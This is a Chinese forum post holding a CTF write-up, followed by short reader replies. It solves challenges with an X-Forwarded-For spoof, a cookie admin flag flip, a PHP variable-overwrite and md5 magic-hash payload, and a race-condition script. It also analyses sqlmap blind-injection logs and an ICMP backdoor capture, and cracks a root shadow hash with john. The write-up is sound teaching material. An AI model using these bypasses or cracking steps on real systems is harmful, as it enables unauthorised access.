用户
搜索

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

4

主题

10

帖子

95

魔法币
收听
0
粉丝
0
注册时间
2018-1-1

i春秋签约作者

发表于 2018-11-5 00:04:20 75244
本帖最后由 iGetFlag 于 2018-11-6 10:50 编辑

铜牌-1:babyWeb

这道题比较简单相当于Web的签到题

刚开始页面提示ip地址不被允许

伪造XFF头绕过

X-Forwarded-For: 127.0.0.1

ps:冒号和ip之间要有空格

然后会提示不是管理员

将cookie处的admin=0修改为admin=1即可

铜牌-3:babyWeb2

这个题考点在变量覆盖、php弱类型和条件竞争,在比赛的时候只绕过了变量覆盖和弱类型,等到后面的条件竞争,都写好脚本了,因为开发这块比较菜,所以单线程三开,后来把这个题给忘了,去看别的题了,导致没做出来。

源码复现

<?php
$hint = include("here.php");
$key = "kelaibei";
$id = $_GET['id'];
parse_str($id);
if(isset($id) && $key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs'))
{
    echo $hint;
}
else
{
    die("try on");
}

show_source(__FILE__);
?>

payload为

http://127.0.0.1/test.php?id=key[99]=240610708

aabg7XSs的md5为0e087386482136013740957780965295

php弱类型漏洞会将md5以0开头的,当作和QNKCDZO的md5是相等的

绕过上面的代码后,会出现一个文件上传页面,让输入filenamecontain,但是会将contain输入的内容替换为其指定的字符串,这里采用条件竞争,执行system(ls),列出来的文件名即为flag

条件竞争部分复现

<?php
$filename = @$_GET['filename'];
$content = @$_GET['content'];
$ip = $_SERVER['REMOTE_ADDR'];
$path = "./uploads/" . Sha1($ip);
if(!is_dir($path)){
        mkdir($path,0777,true);
}
if(isset($filename) && isset($content) && $filename != "" && $content != "")
{
        $url = "http://".gethostbyname(''). str_replace(".","",$path) . "/" . $filename;
        $urltext = str_replace(".","",$path) . "/" . $filename;
        echo "Flag is here,come on~ <a href='$url'>$urltext</a>";

        file_put_contents($path . "/" . $filename,"flag{fa8d57d013fda75ad1e58e59b94b45c3}");
        sleep(1);
        file_put_contents($path . "/" . $filename,"Too slow!");
}
?>

一边运行脚本访问,一边手动写入文件

import requests

while True:
    print(requests.get("http://127.0.0.1/upload/4b84b15bff6ee5796152495a230e45e3d7e947d9/test.php").text)

Forensic-日志分析

下载access.log

urldecode

import urllib.request
f = open("access.log","r").readlines()
urllist = []
for i in f:
    urllist.append(urllib.request.unquote(i))

s = open("access_decode.log","w")
s.writelines(urllist)
s.close()

打开解码后的日志文件

发现sqlmap盲注的流量,分析后发现其采用了二分法来注入

ORDER BY flag LIMIT 0,1),1,1))>64 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 

ORDER BY flag LIMIT 0,1),1,1))>96 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765

ORDER BY flag LIMIT 0,1),1,1))>112 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

ORDER BY flag LIMIT 0,1),1,1))>104 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

ORDER BY flag LIMIT 0,1),1,1))>100 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765

ORDER BY flag LIMIT 0,1),1,1))>102 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

ORDER BY flag LIMIT 0,1),1,1))>101 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765

直接按其ASCII码和状态码来进行分析,这里应该可以写脚本,不过我用的手工一个一个的查,25个字符一共。。。

flag = [102,108,97,103,123,115,113,108,109,52,112,95,49,53,95,112,48,119,101,114,102,117,108,125]
flagchar = ""
for s in flag:
    flagchar += chr(s)
print(flagchar)

最后将ascii码转为char即可

Forensic-weblogic

按照题目要求需要寻找主机名,以十六进制的形式提交

hostname命令是查看主机名的命令,从流量来看,是一个暴力破解getshell的过程

直接在过滤器中查找hostname

http contains "hostname"

追踪http流

可以看到这里执行了hostname命令

往下看可以看到结果

Forensic-特殊后门

题目提示是不只有http协议后门,有可能是icmp、dns。。。。(好几种协议)

这里直接搜索flag,切换各种协议搜索

最终定位到了icmp协议

直接点开,发现提示flag is here


然后过滤icmp包

依次点开在数据包相同的位置有flag字符

flag{Icmp_backdoor_can_transfer-some_infomation}

Stego-啊哒

本来以为是伪加密和修复压缩包,纠结了很长时间,比赛结束后交流发现原来是在属性->详细信息->照相机型号的位置有一串十六进制编码,直接转换成字符串就是压缩包的密码

转换完后的字符串为

sdnisc_2018

即为压缩包的密码

Crypto-affine

y = 17*x-8 flag{szzyfimhyzd}   答案格式:flag{****}

逆算法太过复杂,直接去暴力碰撞即可

flag = "szzyfimhyzd"

flaglist = []

for i in flag:
    flaglist.append(ord(i)-97)

flags = ""
for i in flaglist:
    for j in range(0,26):
        c = (17 * j - 8) % 26
        if(c == i):
            flags += chr(j+97)
print(flags)

Misc-basic

修改宽读为150,高度为900,然后生成的图片旋转水平翻转即可

# coding=utf-8
from PIL import Image
import re
pic = Image.new("RGB",(150,900))
f = open('basic.txt','r')
imlist = []
for i in f.readlines():
    i = re.sub('[( )\n]','',i)
    imlist.append(i)

i=0
for x in range(0,150):
    for y in range(0,900):
        s = imlist[i].split(',')
        pic.putpixel([x,y],(int(s[0]),int(s[1]),int(s[2])))
        i+=1
        print 135000-i
pic.show()
pic.save("flag.png")

Misc-进制转换

d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e

将其转换为十进制然后转换为字符拼接即可

#coding=utf-8
import binascii
f = open("text.txt").read()
listf =f.split(" ")
flag = ""
for i in listf:
    if "d" in i[0:1]:
        flag += chr(int(i.replace("d","")))
    if "x" in i[0:1]:
        flag += chr(int(i.replace("x",""),16))
    if "b" in i[0:1]:
        flag += chr(int(i.replace("b",""),2))
    if "o" in i[0:1]:
        flag += chr(int(i.replace("o",""),8))
print(flag)

Misc-Crack it

下载后发现是个shadow文件

root:$6$HRMJoyGA$26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.:17770:0:99999:7:::

id为1时,采用md5进行加密;

id为5时,采用SHA256进行加密;

id为6时,采用SHA512进行加密。

那这里很明显就是用的SHA512进行加密了

详细的shadow文件解析请参考

https://blog.csdn.net/jinyuhongye/article/details/7950961

对于这种直接用john工具进行破解

root@kali:~/# john ./shadow 
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (root)
1g 0:00:00:07 DONE 2/3 (2018-11-04 23:55) 0.1338g/s 672.4p/s 672.4c/s 672.4C/s ilovegod..celtic
Use the "--show" option to display all of the cracked passwords reliably
Session completed

root用户的密码为hellokitty





发表于 2018-11-5 09:38:44
学习了。。。。
http://www.anonymou5.com
使用道具 举报 回复
tql
使用道具 举报 回复
师傅牛逼,膜
使用道具 举报 回复
发表于 2018-11-6 11:01:10

我是弱鸡。。。
使用道具 举报 回复
发表于 2018-11-8 14:23:32
学习了...
使用道具 举报 回复
发表于 2018-11-8 14:24:00
使用道具 举报 回复
发表于 2018-11-9 09:15:01
每次看CTF的writeup都觉得超级有意思
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册